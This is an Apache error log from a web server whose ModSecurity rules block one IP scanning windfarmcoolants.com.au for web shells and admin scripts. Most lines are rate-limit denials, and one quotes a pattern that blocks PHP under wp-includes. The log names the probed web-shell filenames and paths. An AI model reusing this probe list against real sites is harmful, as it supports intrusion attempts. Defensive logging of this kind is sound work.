[Sun Apr 19 05:42:19.364269 2026] [:error] [pid 15694:tid 15731] [client 172.213.136.193:21131] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aeP6u7imB-jol1fwqAq7wwAAAYU"]
[Sun Apr 19 05:42:20.229848 2026] [:error] [pid 47775:tid 47861] [client 172.213.136.193:40814] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aeP6vLmztjlk9tsmoexytAAAAJI"]
[Sun Apr 19 05:42:21.408462 2026] [:error] [pid 47772:tid 47792] [client 172.213.136.193:40176] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aeP6vYc0L16cb4smAz-g3gAAAAM"]
[Sun Apr 19 05:42:22.370004 2026] [:error] [pid 47886:tid 47905] [client 172.213.136.193:17831] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeP6vkSe8yiyuPrD7yPtXgAAANE"]
[Sun Apr 19 05:42:23.591985 2026] [:error] [pid 47772:tid 47813] [client 172.213.136.193:38364] File does not exist: /usr/local/apache/htdocs/suspended-page/BDKR28WP.php
[Sun Apr 19 05:42:24.153585 2026] [:error] [pid 47772:tid 47810] [client 172.213.136.193:38364] File does not exist: /usr/local/apache/htdocs/suspended-page/wen.php
[Sun Apr 19 05:42:24.479110 2026] [:error] [pid 47772:tid 47791] [client 172.213.136.193:38364] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sun Apr 19 05:42:24.951790 2026] [:error] [pid 47772:tid 47807] [client 172.213.136.193:38364] File does not exist: /usr/local/apache/htdocs/suspended-page/fe5.php
[Sun Apr 19 05:42:25.491624 2026] [:error] [pid 47772:tid 47800] [client 172.213.136.193:38364] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Sun Apr 19 05:42:25.739195 2026] [:error] [pid 47772:tid 47801] [client 172.213.136.193:38364] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Sun Apr 19 05:42:25.979668 2026] [:error] [pid 47772:tid 47812] [client 172.213.136.193:38364] File does not exist: /usr/local/apache/htdocs/suspended-page/fi.php
[Sun Apr 19 05:42:26.215621 2026] [:error] [pid 47772:tid 47793] [client 172.213.136.193:38364] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aeP6woc0L16cb4smAz-g8gAAAAQ"]
[Sun Apr 19 05:42:27.023311 2026] [:error] [pid 47886:tid 47893] [client 172.213.136.193:17839] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aeP6w0Se8yiyuPrD7yPtYgAAAMU"]
[Sun Apr 19 05:42:27.823734 2026] [:error] [pid 15765:tid 15865] [client 172.213.136.193:32516] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aeP6w_Rqinw-W5EwQ76ELgAAAow"]
[Sun Apr 19 05:42:28.498271 2026] [:error] [pid 15693:tid 15705] [client 172.213.136.193:17835] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aeP6xMNMD-ccazQlTskWNAAAAUk"]
[Sun Apr 19 05:42:29.144574 2026] [:error] [pid 47773:tid 47822] [client 172.213.136.193:5184] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aeP6xeiBHdnCJDuPq9BWSwAAAEY"]
[Sun Apr 19 05:42:30.104806 2026] [:error] [pid 47773:tid 47817] [client 172.213.136.193:40171] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aeP6xuiBHdnCJDuPq9BWUQAAAEE"]
[Sun Apr 19 05:42:30.873744 2026] [:error] [pid 47773:tid 47840] [client 172.213.136.193:21137] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aeP6xuiBHdnCJDuPq9BWUwAAAFg"]
[Sun Apr 19 05:42:31.921982 2026] [:error] [pid 15764:tid 15828] [client 172.213.136.193:32535] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aeP6x2LL_sqdSHoVp-TsGgAAAkI"]
[Sun Apr 19 05:42:32.828856 2026] [:error] [pid 47775:tid 47867] [client 172.213.136.193:32554] [client 172.213.136.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeP6yLmztjlk9tsmoexyvAAAAJg"]
[Sun Apr 19 05:42:33.590240 2026] [:error] [pid 47772:tid 47810] [client 172.213.136.193:32523] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeP6yYc0L16cb4smAz-g_gAAABU"]
[Sun Apr 19 05:42:34.566794 2026] [:error] [pid 47773:tid 47818] [client 172.213.136.193:38396] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeP6yuiBHdnCJDuPq9BWWwAAAEI"]
[Sun Apr 19 05:42:35.394833 2026] [:error] [pid 47773:tid 47826] [client 172.213.136.193:21154] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeP6y-iBHdnCJDuPq9BWYQAAAEo"]
[Sun Apr 19 05:42:36.301041 2026] [:error] [pid 47773:tid 47827] [client 172.213.136.193:15283] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeP6zOiBHdnCJDuPq9BWZwAAAEs"]
[Sun Apr 19 05:42:37.218644 2026] [:error] [pid 47773:tid 47837] [client 172.213.136.193:40793] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeP6zeiBHdnCJDuPq9BWbAAAAFU"]
[Sun Apr 19 05:42:37.993715 2026] [:error] [pid 47773:tid 47820] [client 172.213.136.193:27059] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeP6zeiBHdnCJDuPq9BWcAAAAEQ"]
[Sun Apr 19 05:42:39.006143 2026] [:error] [pid 15760:tid 15770] [client 172.213.136.193:21120] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeP6z_SdD_XHQMJ_ISsZjwAAAcI"]
[Sun Apr 19 05:42:40.291211 2026] [:error] [pid 15693:tid 15707] [client 172.213.136.193:26128] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeP60MNMD-ccazQlTskWOAAAAUs"]
[Sun Apr 19 05:42:41.087960 2026] [:error] [pid 15760:tid 15775] [client 172.213.136.193:40142] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeP60fSdD_XHQMJ_ISsZkQAAAcc"]
[Sun Apr 19 05:42:42.456978 2026] [:error] [pid 47773:tid 47817] [client 172.213.136.193:17855] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeP60uiBHdnCJDuPq9BWfAAAAEE"]
[Sun Apr 19 05:42:43.214523 2026] [:error] [pid 47773:tid 47832] [client 172.213.136.193:32545] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeP60-iBHdnCJDuPq9BWgQAAAFA"]
[Sun Apr 19 05:42:44.279048 2026] [:error] [pid 15764:tid 15840] [client 172.213.136.193:38364] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeP61GLL_sqdSHoVp-TsIwAAAk4"]
[Sun Apr 19 05:42:45.137210 2026] [:error] [pid 15764:tid 15835] [client 172.213.136.193:32572] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeP61WLL_sqdSHoVp-TsJgAAAkk"]
[Sun Apr 19 05:42:45.832124 2026] [:error] [pid 47772:tid 47797] [client 172.213.136.193:17832] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeP61Yc0L16cb4smAz-hFQAAAAg"]
[Sun Apr 19 05:42:46.729022 2026] [:error] [pid 47772:tid 47798] [client 172.213.136.193:38395] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeP61oc0L16cb4smAz-hGQAAAAk"]
[Sun Apr 19 05:42:47.330666 2026] [:error] [pid 15763:tid 15797] [client 172.213.136.193:21141] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aeP617MXv1Y1THOoxaAj_wAAAgE"]
[Sun Apr 19 05:42:48.215191 2026] [:error] [pid 47772:tid 47804] [client 172.213.136.193:40185] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aeP62Ic0L16cb4smAz-hHgAAAA8"]
[Sun Apr 19 05:42:48.818332 2026] [:error] [pid 47775:tid 47850] [client 172.213.136.193:26121] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aeP62Lmztjlk9tsmoexy0gAAAIc"]
[Sun Apr 19 05:42:49.647380 2026] [:error] [pid 15765:tid 15861] [client 172.213.136.193:17795] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aeP62fRqinw-W5EwQ76EOgAAAog"]
[Sun Apr 19 05:42:50.540821 2026] [:error] [pid 15764:tid 15834] [client 172.213.136.193:21128] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aeP62mLL_sqdSHoVp-TsLQAAAkg"]
[Sun Apr 19 05:42:51.588966 2026] [:error] [pid 15763:tid 15805] [client 172.213.136.193:17822] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "aeP627MXv1Y1THOoxaAkAQAAAgk"]
[Sun Apr 19 05:42:52.707600 2026] [:error] [pid 15694:tid 15736] [client 172.213.136.193:27028] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "aeP63LimB-jol1fwqAq7ygAAAYo"]
[Sun Apr 19 05:42:53.312952 2026] [:error] [pid 47886:tid 47891] [client 172.213.136.193:17848] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "aeP63USe8yiyuPrD7yPtcgAAAMM"]
[Sun Apr 19 05:42:54.191176 2026] [:error] [pid 47886:tid 47888] [client 172.213.136.193:17812] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "aeP63kSe8yiyuPrD7yPtdQAAAMA"]
[Sun Apr 19 05:42:54.819676 2026] [:error] [pid 47775:tid 47848] [client 172.213.136.193:40810] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "aeP63rmztjlk9tsmoexy3wAAAIU"]
[Sun Apr 19 05:42:55.463039 2026] [:error] [pid 47773:tid 47836] [client 172.213.136.193:5212] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "aeP63-iBHdnCJDuPq9BWlQAAAFQ"]
[Sun Apr 19 05:42:56.266747 2026] [:error] [pid 15763:tid 15807] [client 172.213.136.193:32530] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "aeP64LMXv1Y1THOoxaAkAwAAAgs"]
[Sun Apr 19 05:42:57.272303 2026] [:error] [pid 47886:tid 47898] [client 172.213.136.193:17833] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "aeP64USe8yiyuPrD7yPtgAAAAMo"]
[Sun Apr 19 05:42:57.951393 2026] [:error] [pid 47775:tid 47851] [client 172.213.136.193:40130] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aeP64bmztjlk9tsmoexy4gAAAIg"]
[Sun Apr 19 05:42:58.488383 2026] [:error] [pid 47886:tid 47901] [client 172.213.136.193:38344] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aeP64kSe8yiyuPrD7yPtgwAAAM0"]
[Sun Apr 19 05:42:59.164552 2026] [:error] [pid 15765:tid 15852] [client 172.213.136.193:17823] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aeP64_Rqinw-W5EwQ76EQQAAAoA"]
[Sun Apr 19 05:42:59.851594 2026] [:error] [pid 47775:tid 47852] [client 172.213.136.193:40128] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aeP647mztjlk9tsmoexy6gAAAIk"]
[Sun Apr 19 05:43:00.736390 2026] [:error] [pid 47775:tid 47855] [client 172.213.136.193:38345] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aeP65Lmztjlk9tsmoexy8QAAAIw"]
[Sun Apr 19 05:43:01.354471 2026] [:error] [pid 15763:tid 15797] [client 172.213.136.193:5227] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aeP65bMXv1Y1THOoxaAkDwAAAgE"]
[Sun Apr 19 05:43:02.854426 2026] [:error] [pid 47775:tid 47843] [client 172.213.136.193:40140] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aeP65rmztjlk9tsmoexy9QAAAIA"]
[Sun Apr 19 05:43:03.503551 2026] [:error] [pid 47772:tid 47811] [client 172.213.136.193:21127] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aeP654c0L16cb4smAz-hKAAAABY"]
[Sun Apr 19 05:43:04.388414 2026] [:error] [pid 15760:tid 15792] [client 172.213.136.193:40181] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeP66PSdD_XHQMJ_ISsZoAAAAdg"]
[Sun Apr 19 05:43:05.503127 2026] [:error] [pid 15763:tid 15814] [client 172.213.136.193:40161] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeP66bMXv1Y1THOoxaAkFgAAAhI"]
[Sun Apr 19 05:43:06.289498 2026] [:error] [pid 47775:tid 47852] [client 172.213.136.193:17792] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeP66rmztjlk9tsmoexy-gAAAIk"]
[Sun Apr 19 05:43:07.174946 2026] [:error] [pid 15764:tid 15833] [client 172.213.136.193:40136] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeP662LL_sqdSHoVp-TsNgAAAkc"]
